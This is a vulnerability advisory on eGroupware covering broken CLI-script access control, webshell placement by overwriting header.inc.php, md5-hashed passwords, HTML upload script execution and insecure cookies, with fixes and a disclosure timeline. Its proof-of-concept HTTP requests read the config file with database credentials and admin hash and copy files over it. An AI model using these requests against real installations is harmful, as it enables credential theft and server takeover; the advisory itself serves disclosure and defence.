Advisory- EGroupware

Overview

(1) The application contains in the Community Edition 3 scripts admin/admin-cli.php, filemanager/cli.php and setup/setup-cli.php that provide functions like updating the application, adding users and reading from the file system. The applications have a security mechanism built-in that should avoid them being called over the Internet, which is broken. Using this vulnerability, hashes of the administrative login can be read out and maybe cracked. In the Enterprise Line some more scripts have similar flaws.

(2) Authenticated users can upload files by using the address book or WebDav, for example. The uploaded files can be moved with the broken filemanager/cli.php. The file header.inc.php is linked to a place in the file system where the web server has write access by default. In this way, the file can be replaced by a copy of the file that has been extended with a webshell.

(3) Some default settings as hashing algorithms or backup behavior allow further escalations.

(4) The application provides file upload functions - e.g. in the address book, the task manager and some other modules - where HTML documents can be uploaded. These files are not provided for download but are delivered as regular pages so that they are interpreted by the browser in the context of the web application. This way, arbitrary HTML or script code can be uploaded and executed in other users' context. Since HttpOnly is not set by default, the session identifier can be stolen by an attacker this way and sessions may be hijacked.

(5) Several Cookie issues

Details

(1) Attacks leading to access to the remote file system

Requirements: 

• The variable register_argc_argv in the php.ini must be set to "On".
• The web server must be reachable without the need of a virtual host name or eGroupWare must be configured as the default vhost.

Proof of Concept (PoC)(1):

1. Checking version

REQUEST where "security" mechanism works:

+-----------

| POST /egroupware/setup/setup-cli.php HTTP/1.1

| Host: {$HOST}

+-----------

RESPONSE:

+-----------

| #!/usr/bin/php -qC

| <h1>setup-cli.php must NOT be called as web-page --> exiting !!!</h1>

+-----------

REQUEST where "security" mechanism does not work:

+-----------

|GET /egroupware/setup/setup-cli.php HTTP/1.0

+-----------

RESPONSE:

+-----------

| #!/usr/bin/php -qC

| eGroupWare API version 1.8.004 found.

| eGroupWare configuration file (header.inc.php) version 1.29 exists and is up to date

| database is version 1.8.004 and up to date.

+-----------

Note: This is also possible without the register_argc_argv variable being set.

2. Reading the admin password hash and database credentials

REQUEST:

+-----------

| GET /egroupware/filemanager/cli.php?x+cat+../header.inc.php HTTP/1.0

+-----------

RESPONSE:

+-----------

| [...]

| $GLOBALS['egw_info']['server']['header_admin_user'] = 'admin';

| $GLOBALS['egw_info']['server']['header_admin_password'] = '21232f297a57a5a743894a0e4a801fc3';

| 

| // restrict the access to setup to certain (comma separated) IPs or domains

| $GLOBALS['egw_info']['server']['setup_acl'] = '';

|

| /* eGroupWare domain-specific db settings */

| $GLOBALS['egw_domain']['default'] = array(

| 'db_host' => 'localhost',

| 'db_port' => '3306',

| 'db_name' => 'egroupware',

| 'db_user' => 'egroupware',

| 'db_pass' => 'egroupware',

| // Look at the README file

| 'db_type' => 'mysqli',

| // This will limit who is allowed to make configuration modifications

| 'config_user'   => 'admin',

| 'config_passwd' => '21232f297a57a5a743894a0e4a801fc3'

| );

| [...]

+-----------

(2) Escalating rights and uploading a webshell

By default the application is set up to schedule database backups on 3 AM to  /var/lib/egroupware/default/backup. Using the vulnerability in (1) the password hashes can be extracted from the backups and be cracked. Now, having a valid account, the attacker can log in and upload a file to the groupware. These files are located at /var/lib/egroupware/default/files/sqlfs/. To include a webshell, the attacker can download the file headers.inc.php, add a parameter-based web shell to the end of the file, and overwrite the web application's version of the file with the modified one.

Proof of Concept (PoC) (2):

1. Show file is writable

REQUEST:

+-----------

| GET /egroupware/filemanager/cli.php?x+ls+-l+../header.inc.php+/var/lib/egroupware/header.inc.php HTTP/1.0

+-----------

RESPONSE:

+-----------

| #!/usr/bin/php -qC

| Server Argumente: Array

| ls ../header.inc.php (long=1, numeric=0, recursive=0)

| lrwxrwxrwx 1 root root 34 2013-06-20 20:59:33 header.inc.php -> /var/lib/egroupware/header.inc.php

| ls /var/lib/egroupware/header.inc.php (long=1, numeric=0, recursive=0)

| -rw------- 1 www-data www-data 4.4k 2013-07-10 11:48:24 header.inc.php

+-----------

2. Copy uploaded file to install webshell

REQUEST:

+-----------

| GET /egroupware/filemanager/cli.php?x+cp+/var/lib/egroupware/default/files/sqlfs/00/10[...]/header.inc.php HTTP/1.0

+-----------

(3) Default settings make post-exploitation easy

After using the vulnerabilities in (1), attackers can access the headers.inc.php file, where the clear text database credentials and the md5-hashed password of the setup-interface can be found. Since only md5 is used, the passwords can be cracked quite easily. As well, the initialization vector for MCrypt operations can be accessed there. User passwords in the database are stored as md5 hashes as well.

(4) Uploaded HTML files are interpreted by the browser

HTML files uploaded by authenticated users are not delivered to the browser with the correct headers set, so the browsers opens and interprets HTML files uploaded by users in the context of the web application. This way an attacker can include arbitrary script code. The impacts are the same as the impacts of persistent cross-site scripting even though the vulnerability should be rather called a scripting interface.

(5) Several cookie issues

The web application does not set the cookie attributes HttpOnly and Secure. Additionally the web application stores a lot of information in the cookies, such as the last login name, and if the user is currently logged-in into the setup- or admin-interface, the password hash is stored there as well. Since the path is set to / these cookies can be stolen using the PXSS vulnerability in (4). Due to this vulnerability, a stolen cookie does not only compromise the current session of the administrator, but it is also possible to take over whole account either by cracking the hash or by simply setting it as cookie value on the attacker side. Cracking is possible since md5 is used, which is not state-of-the-art any more.

Proof of Concept (PoC) (5):

1. Missing cookie attributes

RESPONSE:

+-----------

| [...]

| Expires: Thu, 19 Nov 1981 08:52:00 GMT

| Set-Cookie: sessionid=apbsvtf77qvadaa04895n2rl32; path=/; domain=localhost

| Set-Cookie: kp3=xlu9rI72RgT7Zh2KabFcWzGV; path=/; domain=localhost

| Set-Cookie: domain=default; path=/; domain=localhost

| Set-Cookie: last_loginid=admin; expires=Thu, 25-Jul-2013 18:38:34 GMT; path=/; domain=localhost

| Set-Cookie: last_domain=default; expires=Thu, 25-Jul-2013 18:38:34 GMT; path=/; domain=localhost

| Location: /egroupware/index.php

| [...]

+-----------

2. Config and admin password in cookie values

REQUEST 1 to log into the setup interface: 

+-----------

| POST /egroupware/setup/index.php HTTP/1.1

| [...]

|

| FormUser=admin&ConfigLang=de&FormPW=admin&FormDomain=default&ConfigLogin=Login&submit=Login

+-----------

RESPONSE 1:

+-----------

| HTTP/1.1 200 OK

| [...]

| Set-Cookie: ConfigUser=admin; expires=Thu, 11-Jul-2013 21:32:04 GMT; path=/; domain=localhost

| Set-Cookie: ConfigPW=21232f297a57a5a743894a0e4a801fc3; expires=Thu, 11-Jul-2013 21:32:04 GMT; path=/; domain=localhost

| Set-Cookie: ConfigDomain=default; expires=Thu, 11-Jul-2013 21:32:04 GMT; path=/; domain=localhost

| Set-Cookie: ConfigLang=de; expires=Thu, 11-Jul-2013 21:32:04 GMT; path=/; domain=localhost

| [...]

+-----------

REQUEST 2 to log into the settings interface: 

+-----------

| POST /egroupware/setup/manageheader.php HTTP/1.1

| [...]

FormUser=admin&ConfigLang=de&FormPW=admin&Submit=Login&HeaderLogin=Login

+-----------

RESPONSE 2: 

+-----------

| HTTP/1.1 200 OK

| [...]

| Set-Cookie: HeaderUser=admin; expires=Thu, 11-Jul-2013 21:47:38 GMT; path=/; domain=10.201.1.137

| Set-Cookie: HeaderPW=21232f297a57a5a743894a0e4a801fc3; expires=Thu, 11-Jul-2013 21:47:38 GMT; path=/; domain=10.201.1.137

| Set-Cookie: ConfigLang=de; expires=Thu, 11-Jul-2013 21:47:38 GMT; path=/; domain=10.201.1.137

| [...]

+-----------

To show that the cookies HeaderPW/ConfigPW contain the password, we need to hash it:

+-----------

| $ echo -n "admin" | md5sum 

| 21232f297a57a5a743894a0e4a801fc3  -

+-----------

Solution

At the time this advisory is published only (1) must be done by the operator. The other issues may be fixed by updating to the versions listed above.

(1) We strongly recommend to patch eGroupware by fixing the three mentioned scripts as well as others which are affected by the same vulnerability, and securing the folders where they are located additionally, e.g. using htaccess. 

Setting register_argc_argv in the php.ini to "Off" and using a virtual host name might be a hotfix for operators until a patch is available. This must be verified on each individual system.

(2) Make sure the database backup is removed from directories readable by the web server after it is finished, so a file inclusion will not disclose all passwords. Use hashing mechanisms that are designed for hashing passwords, such as bcrypt, and salt the passwords to avoid hashes being cracked easily. 

Remove write permission to the settings file header.inc.php after the web application has been set up. 

This might also be a hotfix for operators until a patch is available. 

(3) For the passwords stored in header.inc.php, use hashing mechanisms that are designed for hashing passwords, such as bcrypt, and salt the passwords to avoid these hashes being cracked easily. 

(4) For all files provided for download, the HTTP header "Content-Disposition" should be set to "attachment". This makes sure modern browsers render the page in a local context or show the "Save as" dialog of the browser.

(5) Set cookie attributes HttpOnly and Secure and avoid storing password hashes in cookie values. Additionally, the cookie path of all cookies should be restricted to paths they are necessary for. This should be done especially for the cookies HeaderPW & ConfigPW.

Disclosure Timeline

2013-06-26 - Flaws were discovered

2013-06-27 - Development of the PoC

2013-07-11 - Re-check against a new installation of eGroupware

2013-07-26 - Attempt to process the disclosure via Secunia who sadly stopped their program during the process

2013-09-10 - Direct contact to developer. Flaws have been instantly analyzed and solutions been discused

2013-10-01 - Security update published

GPG

E-Mail: marcel.mangold(at)syss.de

Public Key: www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Marcel_Mangold.asc

Key ID: AC15E5BE

Key Fingerprint: E21C 69ED 9A64 7486 6EDD 5E29 4EFE B20B AC15 E5BE

Copyright

Creative Commons - Attribution (by) - Version 3.0

URL: http://creativecommons.org/licenses/by/3.0/deed.en